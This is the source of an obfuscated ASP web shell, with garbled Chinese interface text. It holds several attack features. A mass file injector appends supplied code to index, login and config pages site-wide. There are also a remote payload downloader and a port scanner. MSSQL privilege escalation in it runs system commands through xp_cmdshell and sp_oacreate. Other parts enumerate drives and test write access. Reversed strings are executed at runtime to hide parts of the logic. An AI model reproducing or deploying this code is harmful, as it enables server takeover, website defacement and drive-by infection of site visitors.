~))¨~p¨~(tseuqer(mirt = ssap ~))¨~u¨~(tseuqer(mirt = resu ~dne.esnopser neht )1noitca(ciremunsi ton fi ~)¨~1noitca¨~(tseuqer=1noitca ~1noitca mid ~tiuq ,resuwen ,niamodwen ,tm ,niamodled ,ssapnigol ,resunigol ,dmc ,tropptf ,trop ,ssap ,resu miD" ExeCuTe(UZSS(Hacker)) function Gpath() on error resume next err.clear set f=Server.CreateObject("Scripting.FileSystemObject") if err.number>0 then gpath="c:" exit function end if gpath=f.GetSpecialFolder(0) gpath=lcase(left(gpath,2)) set f=nothing end function Function GName() If request.servervariables("SERVER_PORT")="80" Then GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name")) Else GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name")) End If End Function Err.Clear Case "nofw" Hacker="¨~>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<¨~SRR~¨~>p<>aeratxet/<¨~&)¨~26¨~(rhC&¨~%)¨~¨~1¨~¨~(tseuqer labolGetucexE%¨~&)¨~06¨~(rhC&¨~Âë´ú»°¾äһɨ·Àɱ·À> 001=sloc 03=swor txet=eman aeratxet<¨~SRR~¨~>p<>'psa.pleh\¨~&)¨~/¨~(htaPpaM.revreS&¨~'=eulav 04=ezis hTaP=eman txet=epyt tupni<:¼þÎĵÄÈëдHSW-OSFÃâ¨~SRR~¨~>wfon=noitca?=noitca 'tsop'=dohtem mrof<¨~SRR~fi dne~k Etirw.EsnoPsER~noitcnuF dnE~pool~remiT = emiTdnE~n> ¨~&)L(b&¨~ ohce c/¨~=stnemugra.knilllehsjbo~¨~exe.dmc¨~=hTaP.knilllehsjbo~knilteg.mEtiredlofllehs= knilllehsjbo tes~)¨~knl.±¾Ê¼Ǩ~(emanesrap.redlofllehs=mEtiredlofllehs tes~)¨~¼þ¸½\Ðò³Ì\µ¥²Ë¡¹Ê¼¿ª¡¸\rEsU tluafeD\sgnitteS dna stnemucoD\:C¨~(ecapseman.llehs=redlofllehs tes~¨~>rb/<¨~&))L(b(edocnelmth.rEvrES Etirw.EsnoPsER~k OT 1=L roF~)¨~noitacilppa.llehs¨~(tcejboetaerc.rEvrES=llehs tes~txeN~1=nt~fI dnE~)¨~¨~,)01(rhc,)k(b(EcAlpER=)k(b~)i(yarraym=)k(b~)k(b evresERp miDeR~1+k=k~nEht )01(rhc><)i(yarraym dna )31(rhc><)i(yarraym dna ¨~¨~ ><)i(yarraym dna 0=nt fI~txen~fi dne~rof tixe~0=nt~nEht )31(rhc><)1,j,)i(yarraym(dim dna )01(rhc><)1,j,)i(yarraym(dim dna ¨~ ¨~><)1,j,)i(yarraym(dim fi~))i(yarraym(nel ot 1=j rof~)yarraym(dnuoBU ot 0=i roF~))31(rhC,txet(tilpS =yarraym~0=k~)(b miD~yarrAym miD~))43(rhc&¨~^¨~,)43(rhc,txet(EcAlpER=txet~)¨~|^¨~,¨~|¨~,txet(EcAlpER=txet~)¨~+^¨~,¨~+¨~,txet(EcAlpER=txet~)¨~:^¨~,¨~:¨~,txet(EcAlpER=txet~)¨~&^¨~,¨~&¨~,txet(EcAlpER=txet~)¨~<^¨~,¨~<¨~,txet(EcAlpER=txet~)¨~>^¨~,¨~>¨~,txet(EcAlpER=txet~)¨~^^¨~,¨~^¨~,txet(EcAlpER=txet~nEht ¨~¨~>µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:")&Server.MapPath("/")&("") ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") if s="" then s=Server.MapPath("/") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") addcode = Request("code") if addcode="" then addcode="" If ex<>"" AND pth<>"" Then select Case ex Case "edit" CALL file_show(pth) Case "save" CALL file_save(pth) End select Else RRS("
") RRS("
") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("
Òª¹ÒÂíµÄÎļþ¼Ð (¾ø¶Ô·¾¶)£º
Òª¹ÒÂíµÄ´úÂë:
") End If Function IsPattern(patt,str) Set regEx=New RegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) Set regEx=Nothing If retVal=True Then IsPattern=True Else IsPattern=False End If End Function if request.form("submit")<>"" then If s="" or addcode="" Then RRS "ÇëÊäÈë¹ÒÂíµÄ·¾¶»ò´úÂë!" response.end else If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s End If end if Sub sch(s) oN eRrOr rEsUmE nExT Set fs=Server.createObject("Scripting.FileSystemObject") Set fd=fs.GetFolder(s) Set fi=fd.Files Set sf=fd.SubFolders For Each f in fi rtn=f.path step_all rtn Next If sf.Count<>0 Then For Each l In sf sch l Next End If End Sub Sub step_all(agr) retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|main|article|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr) If retVal Then step1 agr step2 agr Else Exit Sub End If End Sub Sub step1(str1) RRS "
¡Ì "&str1&" _" RRs "Down " RRS "edit " RRS "Del " RRS "Copy " RRS "Move
" End Sub Sub step2(str2) Set fs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) If isExist Then Set f=fs.GetFile(str2) Set f_addcode=f.OpenAsTextStream(8,-2) f_addcode.Write addcode f_addcode.Close Set f=Nothing End If Set fs=Nothing End Sub Err.Clear Case "replace" Fpath=Request("fd") addcode = Request("code") addcode2 = Request("code2") pcfile=request("pcfile") checkbox=request("checkbox") checkbox1=request("checkbox1") ShowMsg=request("ShowMsg") FType=request("FType") zfile=request("zfile") for i= 0 to ubound(split(server.mappath("."),"\")) d=split(server.mappath("."),"\") dir=dir&d(i)&"\" filename=dir&"dir.txt" On Error Resume Next SET FSO=Server.CreateObject("Scripting.FileSystemObject") SET FR = FSO.CreateTextFile(filename,true) IF NOT FSO.FileExists(filename) then else FR.close FSO.DeleteFile filename,True exit for end if next if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm" if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" if Fpath="\" then Fpath=Server.MapPath("\") if Fpath="." or Fpath="" then Fpath=dir if addcode="" then addcode="" if checkbox="" then checkbox=request("checkbox") if checkbox1="" then checkbox1=request("checkbox1") if pcfile="" then pcfileName=Request.ServerVariables("SCRIPT_NAME") pcfilek=split(pcfileName,"/") pcfilen=ubound(pcfilek) pcfile=pcfilek(pcfilen) end if RRS "

" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "
ÅúÁ¿Ìæ»»Æ÷-ÎļþÌæ»»Ð޸Ť¾ß
 ÍøÕ¾¸ùĿ¼¡°\¡±£º"&Server.MapPath("/")&"
 ±¾³ÌÐòĿ¼¡°.¡±£º"&Server.MapPath(".")&"
 Îļþ·¾¶£º ×¢Òâ:¸Ã·¾¶ÊÇ×î´ó¿ÉдĿ¼(×Ô¶¯Åбð)
 ÊÇ·ñ±äÐδúÂ룺 дÈë´úÂëʱ°Ñ´úÂë±äÐκóдÈëÎļþ - ΪÁË·ÀÖ¹ÅúÁ¿Ìæ»»µô´úÂë,´úÂë100%Õý³£ÔËÐÐ
 ÅųýÎļþ£º ÀýÈ磺1.asp|2.asp|3.asp
 ÎļþÀàÐÍ£º ÊäÈëÒªÐ޸ĵÄÎļþÀàÐÍ[À©Õ¹Ãû]
" RRS" ²éÕÒÄÚÈÝ£º" RRS"
 ½«Ì滻Ϊ£º
--±ê¼Ç½âÊÍ--[³É¹¦£º ¡Ì Åųý£º¡Á Öظ´£º¡Á]
" if request("submit")="¿ªÊ¼Ö´ÐÐ" then RRS "" RRS "" call InsertAllFiles(Fpath,addcode,pcfile) end if Sub InsertAllFiles(Wpath,Wcode,pc) Server.ScriptTimeout=999999999 if right(Wpath,1)<>"\" then Wpath=Wpath &"\" Set WFSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = WFSO.GetFolder(Wpath) Set fc2 = f.files For Each myfile in fc2 Set FS1 = CreateObject("Scripting.FileSystemObject") FType1=split(myfile.name,".") FType2=ubound(FType1) if Ftype2>0 then FType3=LCase(FType1(FType2)) else FType3="ÎÞ" end if if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) NewCode=Replace(tfile1.readall,Wcode,addCode2) Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) objCountFile.Write NewCode objCountFile.Close RRS"" Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers NewPath=Wpath&""&f1.name InsertAllFiles NewPath,Wcode,pc Next set tfile=nothing Set FSO = Nothing set tfile=nothing set tfile2=nothing Set WFSO = Nothing End Sub Case "Logout":Session.Contents.Remove("mgler"):Response.Redirect URL Case Else MainMenu() End Select ShowErr() Sub Message(state,msg,flag) Response.Write "
½á¹ûÎļþ¾ø¶Ô·¾¶±à¼­À¸
¡Ì"&Wpath&myfile.name Set objCountFile=Nothing else RRS"¡Á"&Wpath&myfile.name end if RRS "ÏÂÔØ " RRS "±à¼­ " RRS "ɾ³ý " RRS "¸´ÖÆ
" Response.Write "
" Response.Write "
ϵͳÐÅÏ¢
" Response.Write "" Response.Write " " Response.Write "
"&state&"

"&msg&"
" If flag=0 Then Response.Write "" Else Response.Write "" End if Response.Write "
" End Sub Function Red(str) Red = "" & str & "" End Function Sub ScanDriveForm() 'ɨÃè´ÅÅÌÐÅÏ¢ Dim FSO,DriveB Set FSO = Server.Createobject("Scripting.FileSystemObject") Response.Write "" Response.Write "
" For Each DriveB in FSO.Drives Response.Write "" response.write "" response.write " " response.write "" response.write "" Next Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "
´ÅÅÌ/ϵͳÎļþ¼ÐÐÅÏ¢
ÅÌ·û"&DriveB.DriveLetter&":ÀàÐÍ" Select Case DriveB.DriveType Case 1: Response.write "¿ÉÒƶ¯" Case 2: Response.write "±¾µØÓ²ÅÌ" Case 3: Response.write "ÍøÂç´ÅÅÌ" Case 4: Response.write "CD-ROM" Case 5: Response.write "RAM´ÅÅÌ" Case else: Response.write "δ֪ÀàÐÍ" End Select Response.Write "
WindowsÎļþ¼Ð"&FSO.GetSpecialFolder(0)&"
System32Îļþ¼Ð"&FSO.GetSpecialFolder(1)&"
ϵͳÁÙʱÎļþ¼Ð"&FSO.GetSpecialFolder(2)&"
" Response.Write "" Response.Write "
µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:"&Server.MapPath("/")&"" Response.Write "
Ö¸¶¨Îļþ¼Ð²éѯ£º" Response.Write " " Response.Write "¡¡Ö¸¶¨Îļþ¼Ð·¾¶¡£Èç D:\Program Files\Cs
" Set FSO=Nothing End Sub Sub ScanDrive(Drive) 'ɨÃèÖ¸¶¨´ÅÅÌ Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D If Drive <> "" Then Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestDrive = FSO.GetDrive(Drive) If TestDrive.IsReady Then Temp_Str = "
  • ´ÅÅÌ·ÖÇøÀàÐÍ£º" & Red(TestDrive.FileSystem) & "
  • ´ÅÅÌÐòÁкţº" & Red(TestDrive.SerialNumber) & "
  • ´ÅÅ̹²ÏíÃû£º" & Red(TestDrive.ShareName) & "
  • ´ÅÅÌ×ÜÈÝÁ¿£º" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • ´ÅÅ̾íÃû£º" & Red(TestDrive.VolumeName) & "
  • ´ÅÅ̸ùĿ¼:" & ScReWr((Drive & ":\")) Set BaseFolder = TestDrive.RootFolder Set TempFolders = BaseFolder.SubFolders For Each D in TempFolders Temp_Str = Temp_Str & "
  • Îļþ¼Ð£º" & ScReWr(D) Next Set TempFolder = Nothing Set BaseFolder = Nothing Else Temp_Str = Temp_Str & "
  • ´ÅÅ̸ùĿ¼:" & Red("²»¿É¶Á:(") Dim TempFolderList,t:t=0 Temp_Str = Temp_Str & "
  • " & Red("Çî¾ÙĿ¼²âÊÔ£º") TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") For i = 0 to Ubound(TempFolderList) If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then t = t+1 Temp_Str = Temp_Str & "
  • ·¢ÏÖÎļþ¼Ð£º" & ScReWr(Drive & ":\" & TempFolderList(i)) End if Next If t=0 then Temp_Str = Temp_Str & "
  • ÒÑÇî¾Ù" & Drive & "Å̸ùĿ¼£¬µ«Î´Óз¢ÏÖ:(" End if Set TestDrive = Nothing Set FSO = Nothing Temp_Str = Temp_Str & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Message Drive & ":´ÅÅÌÐÅÏ¢",Temp_Str,1 End if End Sub Sub ScFolder(folder) On Error Resume Next Dim FSO,OFolder,TempFolder,Scmsg,S Set FSO = Server.Createobject("Scripting.FileSystemObject") If FSO.FolderExists(folder) Then Set OFolder = FSO.GetFolder(folder) Set TempFolders = OFolder.SubFolders Scmsg = "
  • Ö¸¶¨Îļþ¼Ð¸ùĿ¼£º" & ScReWr(folder) For Each S in TempFolders Scmsg = Scmsg&"
  • Îļþ¼Ð£º" & ScReWr(S) Next Set TempFolders = Nothing Set OFolder = Nothing Else Scmsg = Scmsg & "
  • Îļþ¼Ð£º" & Red(folder & "²»´æÔÚ»òÎÞ¶ÁȨÏÞ!") End if Scmsg = Scmsg & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Set FSO = Nothing Message "Îļþ¼ÐÐÅÏ¢",Scmsg,1 End Sub Function ScReWr(folder) '1.¿É¶Á,²»¿Éд¡£2.²»¿É¶Á,¿Éд¡£3.¿É¶Á,¿Éд¡£4.²»¿É¶Á,²»¿Éд¡£ On Error Resume Next Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestFolder = FSO.GetFolder(folder) Set TestFileList = TestFolder.SubFolders RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" For Each A in TestFileList Next If err Then err.Clear ReWrStr = folder & " [²»¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End If Else ReWrStr = folder & " [¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End if End if Set TestFileList = Nothing Set TestFolder = Nothing Set FSO = Nothing ScReWr = ReWrStr End Function Function downloads() Hacker="fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~~gnihtoN = maertS teS ~gnihtoN = pttH teS ~ ~)rrE(rrEkhc ~htiW dnE ~esolC. ~fI dnE ~etirWrevo ,htaPeht eliFoTevaS. ~emaNelifteg & ¨~\¨~ & htaPeht = htaPeht ~fI dnE ~¨~txt.hv21¨~ = emaNelifteg ~nehT ¨~¨~ = emaNelifteg fI ~)))¨~/¨~ ,lrUeht(tilpS(dnuoBU()¨~/¨~ ,lrUeht(tilpS = emaNelifteg ~raelC.rrE ~nehT 4003 = rebmuN.rrE fI ~etirWrevo ,htaPeht eliFoTevaS. ~0 = noitisoP. ~ydoBesnopseR.pttH etirW. ~nepO. ~3 = edoM. ~1 = epyT. ~maerts htiW ~ ~fI dnE ~ nehT 4 >< etatSydaeR.pttH fI ~)(dneS.pttH ~eslaF ,lrUeht ,¨~TEG¨~ nepO.pttH ~ ~fI dnE ~1 = etirWrevo ~nehT 2 >< etirWrevo fI ~)¨~PTTHLMX.2LMXSM¨~(tcejbOetaerC.revreS = pttH teS ~)¨~maer¨~&e&¨~ts.bdo¨~&e&¨~da¨~(tcejbOetaerC.revreS = maerts teS ~)¨~etirWrevo¨~(tseuqeR = etirWrevo ~)¨~htaPeht¨~(tseuqeR = htaPeht ~)¨~lrUeht¨~(tseuqeR = lrUeht ~etirWrevo ,emaNelifteg ,maerts ,htaPeht ,lrUeht ,pttH miD ~fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR ~¨~>mrof/<¨~ & WR=WR ~¨~¡£¾¶Â·µØ±¾·Ç¶ø£¬htaPµÄÆ÷Îñ·þÊÇhtaPµÄÀïÕ⣺Òâ×¢;psbn&¨~ & WR=WR ~¨~>rb<>rb<>tcAeht=eman lrUmorFnwod=eulav neddih=epyt tupni<¨~ & WR=WR ~¨~ >' ÔØÏ '=eulav timbus=epyt tupni< ¸Ç¸²ÔÚ´æ>dekcehc 2=eulav etirWrevo=eman xobkcehc=epyt tupni<¨~ & WR=WR ~¨~ >85=ezis ¨~¨~¨~ & ))¨~.¨~(htaPpaM.revreS(edocnElmtH & ¨~¨~¨~=eulav htaPeht=eman tupni<:htaP;psbn&¨~ & WR=WR ~¨~>/rb< >08=ezis '//:ptth'=eulav lrUeht=eman tupni<:rddA;psbn&¨~ & WR=WR ~¨~>tsop=dohtem mrof<>rb<>dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÔØϽÓÖ±>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ =WR" ExeCuTe(UZSS(Hacker)) End Function FuncTion MMD() Hacker="tlusERrts &¨~>rb<¨~ & )¨~DMM¨~(mrof.tsEuqER EtirW.EsnoPsER:gnihtoN = nnoCoda tes:fi dnE:)¨~>rb<¨~,)31(rhc,tlusERrts(EcAlpER = tlusERrts:)¨~;tg&¨~,¨~>¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;tl&¨~,¨~<¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;psbn&¨~,¨~ ¨~,tlusERrts(EcAlpER = tlusERrts:gnihtoN = tlusERcer tes:fi dnE:pooL:txeNevoM.tlusERcer:)0(tlusERcer & )31(rhc & tlusERrts = tlusERrts:FOE.tlusERcer TON elihW oD:nEht FOE.tlusERcer TON fI:)yreuQrts(etucexE.nnoCoda = tlusERcer tes:¨~'¨~ & )¨~DMM¨~(mrof.tsEuqER & ¨~' llehsdmc_px.obd.retsam cexe¨~ = yreuQrts:di&¨~=DI rEsU;¨~&drowsSaP&¨~=drowsSaP;1.BDELOLQS=redivorP¨~ nepO.nnoCoda:)¨~noitcennoC.BDODA¨~(tcejbOetaerC.rEvrES=nnoCoda tes:))¨~U¨~(mrof.tsEuqER(mirt=di:))¨~P¨~(mrof.tsEuqER(mirt =drowsSaP:nEht ¨~¨~><))¨~DMM¨~(mrof.tsEuqER(mirt fI:¨~¨~=IS:IS Etirw.EsnoPsER:¨~>elbat/<>rt/<>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<>ÂëÃÜlqssm=eulav P=eman txet=epyt tupni<>Ãû»§ÓÃlqssm=eulav U=eman txet=epyt tupni<> 53=ezis DMM=eman txet=epyt tupni<ÁîÃüDMC>¨~¨~¨~¨~=noitca tsop=dohtem mrof=eman mrof<>rt=ssalc rt<>¨~¨~%001¨~¨~=htdiw elbat<>rb<¨~=IS" ExeCuTe(UZSS(Hacker)) end Function sub ScanPort() Hacker="FI DNE~¨~Ãë¨~&emiteht&¨~£ºÊ±·Ñ>rh<¨~ etirW.esnopseR~))1remit-2remit(tni(rtsc=emiteht~remit = 2remit~txeN~fI dnE~txeN~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,xxx & tratSpi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~))¨~-¨~,)uh(pi(rtSnI-))uh(pi(neL,1+)¨~-¨~,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)¨~.¨~,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF~))¨~.¨~,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi~eslE~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,)uh(pi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~nehT 0 = )¨~-¨~,)uh(pi(rtSnI fI~)pi(dnuobU ot 0 = uh roF~)¨~,¨~,)¨~pi¨~(mroF.tseuqer(tilpS = pi~)¨~,¨~,)¨~trop¨~(mroF.tseuqer(tilpS = pmt~¨~>rb<>B/<:¸æ±¨Ãèɨ>B<>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR~remit = 1remit~nehT ¨~¨~ >< )¨~nacs¨~(mroF.tseuqer fI~WR etirW.esnopseR~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR~¨~>mrof/<>p/<¨~ & WR=WR~¨~u-vreSΪ85934,¿ØÔ¶CNVΪ0095,¿ØÔ¶erehwynAcpΪ1365£ºÃ÷˵;psbn&>rbrb<>rb<>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<¨~ & WR=WR~¨~>' Ãèɨ '=eulav 'timbus'=epyt 'timbus'=eman tupni<¨~ & WR=WR~¨~;psbn&;psbn&>'¨~&tsiLtroP&¨~'=eulav '06'=ezis 'txet'=epyt 'trop'=eman tupni<;psbn&:tsiL troP;psbn&>rb<¨~ & WR=WR~¨~>'06'=ezis '¨~&PIrevreS&¨~'=eulav 'pi'=di 'txet'=epyt 'pi'=eman tupni<;psbn&:sserddaPI;psbn&>p<¨~ & WR=WR~¨~>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>dt<>rt<¨~ & WR=WR~¨~>rb<>rt/<>dt/<Æ÷Ãèɨ¿Ú¶Ë>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~=WR~fi dne~)¨~pi¨~(mroF.tseuqer=PI~esle~¨~1.0.0.721¨~=PI~neht ¨~¨~=)¨~pi¨~(mroF.tseuqer fi~fi dne~)¨~trop¨~(mroF.tseuqer=tsiLtroP~esle~¨~0095,1365,85934,9833,3341,544,931,531,011,08,52,32,12¨~=tsiLtroP~neht ¨~¨~=)¨~trop¨~(mroF.tseuqer fi~0006777 = tuoemiTtpircS.revreS" ExeCuTe(UZSS(Hacker)) end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=sa;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then RRS(targetip & ":" & portNum & ".........¹Ø±Õ
    ") Else RRS(targetip & ":" & portNum & ".........¿ª·Å
    ") End If End If End If End Sub function sql() if session("login")="" then response.write "
    ûÓеǽ
    " else response.write "
    Í˳öµÇ½
    " end if if session("login")="" then response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write "

     SqlÓû§Ãû£º" response.write "" response.write " SqlÃÜÂ룺" response.write "" response.write "

     Sql·þÎñÆ÷£º" response.write "" response.write " Sql¶Ë¿Ú£º" response.write "" response.write " " response.write "

    " else response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write " ×é¼þ¼ì²â£º

    " response.write "

    " response.write " ×é¼þ»Ö¸´£º

    " response.write "

    " response.write " ÏµÍ³ÃüÁ " response.write "" response.write "  " response.write "" response.write "

    " response.write "
    " response.write "

     Ö´ÐÐÓï¾ä£º" response.write "" response.write "  " response.write "" response.write "


    " end if if request("sqlaaa")="login" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & request.form("server") & "," & request.form("port") & ";password=" & request.form("pass") & ";uid=" & request.form("name") if err.number=-2147467259 then response.write "Êý¾ÝÔ´Á¬½Ó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=-2147217843 then response.write "Óû§ÃûÃÜÂë´íÎó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=0 then strquery="select @@version" set recresult = adoconn.execute(strquery) response.write "

    " if instr(recresult(0),"NT 5.0") then response.write "Windows 2000ϵͳ" session("system")="2000" elseif instr(recresult(0),"NT 5.1") then response.write "Windows xpϵͳ" session("system")="xp" elseif instr(recresult(0),"NT 5.2") then response.write "Windows 2003ϵͳ" session("system")="2003" else response.write "ÆäËü²Ù×÷ϵͳ" session("system")="no" end if strquery="select is_srvrolemember('sysadmin')" set recresult = adoconn.execute(strquery) if recresult(0)=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " session("pri")=1 else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " session("pri")=0 end if session("login")="yes" session("name")=request.form("name") session("pass")=request.form("pass") session("server")=request.form("server") session("port")=request.form("port") response.write "" End if Elseif request("sqlaaa")="test" then if session("login")<>"" then response.write "

    " if session("system")="2000" then response.write "Windows 2000ϵͳ" elseif session("system")="xp" then response.write "Windows xpϵͳ" elseif session("system")="2003" then response.write "Windows 2003ϵͳ" else response.write "ÆäËü²Ù×÷ϵͳ" end if if session("pri")=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'" set recresult = adoconn.execute(strquery) response.write "" if recresult(0) then session("xp_cmdshell")=1 response.write "xp_cmdshell............. ´æÔÚ!" else session("xp_cmdshell")=0 response.write "xp_cmdshell............. ²»´æÔÚ!" end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    sp_oacreate............. ´æÔÚ!" session("sp_oacreate")=1 else response.write "
    sp_oacreate............. ²»´æÔÚ!" session("sp_oacreate")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_regwrite............. ´æÔÚ!" session("xp_regwrite")=1 else response.write "
    xp_regwrite............. ²»´æÔÚ!" session("xp_regwrite")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_servicecontrol'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_servicecontrol....... ´æÔÚ!
    " session("xp_servicecontrol")=1 else response.write "
    xp_servicecontrol....... ²»´æÔÚ!
    " session("xp_servicecontrol")=0 end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="cmd" then if session("login")<>"" then if session("pri")=1 then if request("tool")="xp_cmdshell" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " end if elseif request("tool")="sp_oacreate" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "create table [jnc](resulttxt nvarchar(1024) null);use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "&request("cmd")&" > 8617.tmp',0,true;bulk insert [jnc] from '8617.tmp' with (keepnulls);" adoconn.execute(strquery) strquery = "select * from jnc" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
